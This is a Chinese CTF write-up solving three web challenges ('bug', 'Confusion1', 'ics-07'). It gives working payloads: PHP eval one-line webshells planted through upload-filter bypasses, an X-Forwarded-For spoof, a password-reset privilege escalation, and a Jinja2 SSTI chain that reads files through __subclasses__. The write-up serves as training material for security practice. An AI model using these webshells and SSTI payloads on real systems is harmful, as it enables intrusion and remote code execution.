bug
打开题目,发现是个登陆页面,有注册、找回密码选项

随便注册一个,进行登录,登录成功后,点击管理发现没权限

应该要越权,去密码

发现没有用户的参数,没法在这改admin的密码,去开始页面试试

先修改自己密码,进去后使用bp抓包


发现有用户参数,直接修改admin的密码

修改成功,尝试登陆

成功登陆admin用户,直接去看Message

发现IP不正确,那就伪造IP
x-forwarded-for:127.0.0.1


没发现,Flag,查看源码

注释暴露了一个功能模块的访问路径index.php?module=filemanage&do=???
猜测xss,sql,ssrf,upload

不是xss,发现是index.php?module=filemanage&do=upload

那就试试各种绕过方式,可以参考我的这篇文章:upload靶场通关
最后尝试:
改后缀为php5
文件类型为image/jpeg
文件内的一句话木马为
html
<script language="php"> @eval$_POST['cmd']); </script>

成功了

获得flag:cyberpeace{a3828e2e57cddd4e5f7fce0ec2fd0359}
Confusion1
题目描述:某天,Bob说:PHP是最好的语言,但是Alice不赞同。所以Alice编写了这个网站证明。在她还没有写完的时候,我发现其存在问题。(请不要使用扫描器)

那就每个页面都访问一便,发现除了Home页面,Login,Register都是会报错的,那就查看报错页面的源代码

发现flag的存放地址:/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt
还有一个Salt文件:/opt/salt_b420e8cfb8862548e68459ae1d37a1d5.txt
测试是否存在SSTI
html
{{6*7}}

使用{{''.class}}查看一下返回结果

应该是有字符被过滤了
尝试subclass
html
{{''.__subclass__}}
尝试mro
html
{{''.__mro__}}
发现都被过滤了
尝试request
html
{{''.__request__}}

request没有被过滤
将class等被过滤的字符串设置成参数,传递给request.args,获取class,使用
html
{{""[request.args.a]}}?a=__class__

显示正常,关键字没有被过滤,那么我们现在需要读取件
html
/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt
html
{{""[request.args.a][request.args.b][2][request.args.c]()[40]('/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt')[request.args.d]()}}?&a=__class__&b=__mro__&c=__subclasses__&d=read

获得flag:cyberpeace{2b0d7b3015a23d99599cc3b2c37f8827}
ics-07
打开题目,一个一个尝试,发现只有项目管理页面有反应,点击view-source发现源码,有3段php代码
第一段:
php
<?php
// 启动会话,初始化session功能,用于后续可能的会话数据操作
session_start();
// 检查GET请求中是否存在page参数,如果不存在则执行以下逻辑
if (!isset($_GET['page'])) {
// 显示当前PHP文件的源代码(用于调试或代码展示)
show_source(__FILE__);
// 终止脚本执行,防止后续代码运行
die();
}
// 检查GET请求中存在page参数,并且page参数的值不等于'index.php'
if (isset($_GET['page']) && $_GET['page'] != 'index.php') {
// 包含并执行flag.php文件(通常该文件包含flag相关内容)
include('flag.php');
} else {
// 如果page参数值等于'index.php',则重定向到?page=flag.php地址
header('Location: ?page=flag.php');
}
?>
第一段是个简单的重定向,get参数page不为index.php即可
第二段:
php
<?php
// 检查session中的admin值是否为真,验证是否为管理员身份
if ($_SESSION['admin']) {
// 获取POST请求中的con参数(预计是要写入文件的内容)
$con = $_POST['con'];
// 获取POST请求中的file参数(预计是要创建的文件名)
$file = $_POST['file'];
// 拼接文件存储路径,将文件放在backup目录下
$filename = "backup/".$file;
// 使用正则表达式匹配危险的文件扩展名(如php、php3、pht、html等),忽略大小写
// 防止上传/创建PHP等可执行脚本文件,避免代码执行漏洞
if(preg_match('/.+\.ph(p[3457]?|t|tml)$/i', $filename)){
// 匹配到危险扩展名则终止脚本并输出错误信息
die("Bad file extension");
}else{
// 切换当前工作目录到uploaded目录
chdir('uploaded');
// 以写入模式打开(创建)指定的文件
$f = fopen($filename, 'w');
// 将POST获取的内容写入文件
fwrite($f, $con);
// 关闭文件句柄,释放资源
fclose($f);
}
}
?>
需要得到一个admin的session,之后可以post传入con与file两个参数,这里对文件名进行了过滤,防止后缀名是php等后缀名的文件。上传成功后,会切换到uploaded目录,创建文件,并将con的内容写入,那么实际文件的路径就是:uploaded/backup/xxx.xxx
php
<?php
// 检查GET参数id是否存在,同时满足三个条件:
// 1. floatval转换后的id值不全等于字符串'1'(实际是数值比较的坑,floatval返回数值,与字符串'1'用!==比较永远为true)
// 2. id的最后一个字符是'9'
if (isset($_GET['id']) && floatval($_GET['id']) !== '1' && substr($_GET['id'], -1) === '9') {
// 包含数据库配置文件(通常包含数据库连接信息)
include 'config.php';
// 对GET参数id进行MySQL转义,防止简单的SQL注入(但mysql_real_escape_string依赖已连接的数据库,且该函数已废弃)
$id = mysql_real_escape_string($_GET['id']);
// 构造SQL查询语句,从cetc007库的user表中查询指定id的用户
$sql = "select * from cetc007.user where id='$id'";
// 执行SQL查询
$result = mysql_query($sql);
// 将查询结果转换为对象
$result = mysql_fetch_object($result);
} else {
// 不满足条件则将$result设为False并终止脚本
$result = False;
die();
}
// 如果查询结果为空,输出错误信息并终止脚本
if (!$result) die("<br >something wae wrong ! <br>");
// 如果查询结果存在
if ($result) {
// 输出查询到的用户id
echo "id: " . $result->id . "</br>";
// 输出查询到的用户名
echo "name:" . $result->user . "</br>";
// 将session中的admin值设为True,标记为管理员身份
$_SESSION['admin'] = True;
}
?>
代码首先对GET参数id做了三个前置校验:
1.isset($_GET['id']):确保id参数存在;
2.floatval($_GET['id'])!=='1':存在逻辑坑:floatval()返回的是浮点型数值,而'1'是字符串,使用严格不等于!==比较时,因类型不同,该条件永远为真;
3.substr($_GET['id'],-1)==='9':要求id的开头是1,结尾是9。
写一个payload获取id为1的数据
?page=flag.php&id=1a9

构造Post的payload
php
file= p.php/.&con=<?php @eval($_POST['cmd'])?>

查看是否上传成功

上传成功,使用蚁剑连接

那就去找flag

在/var/www/html/flag.php里发现flag:cyberpeace{7353d6594665974a652c64e2ba450dd2}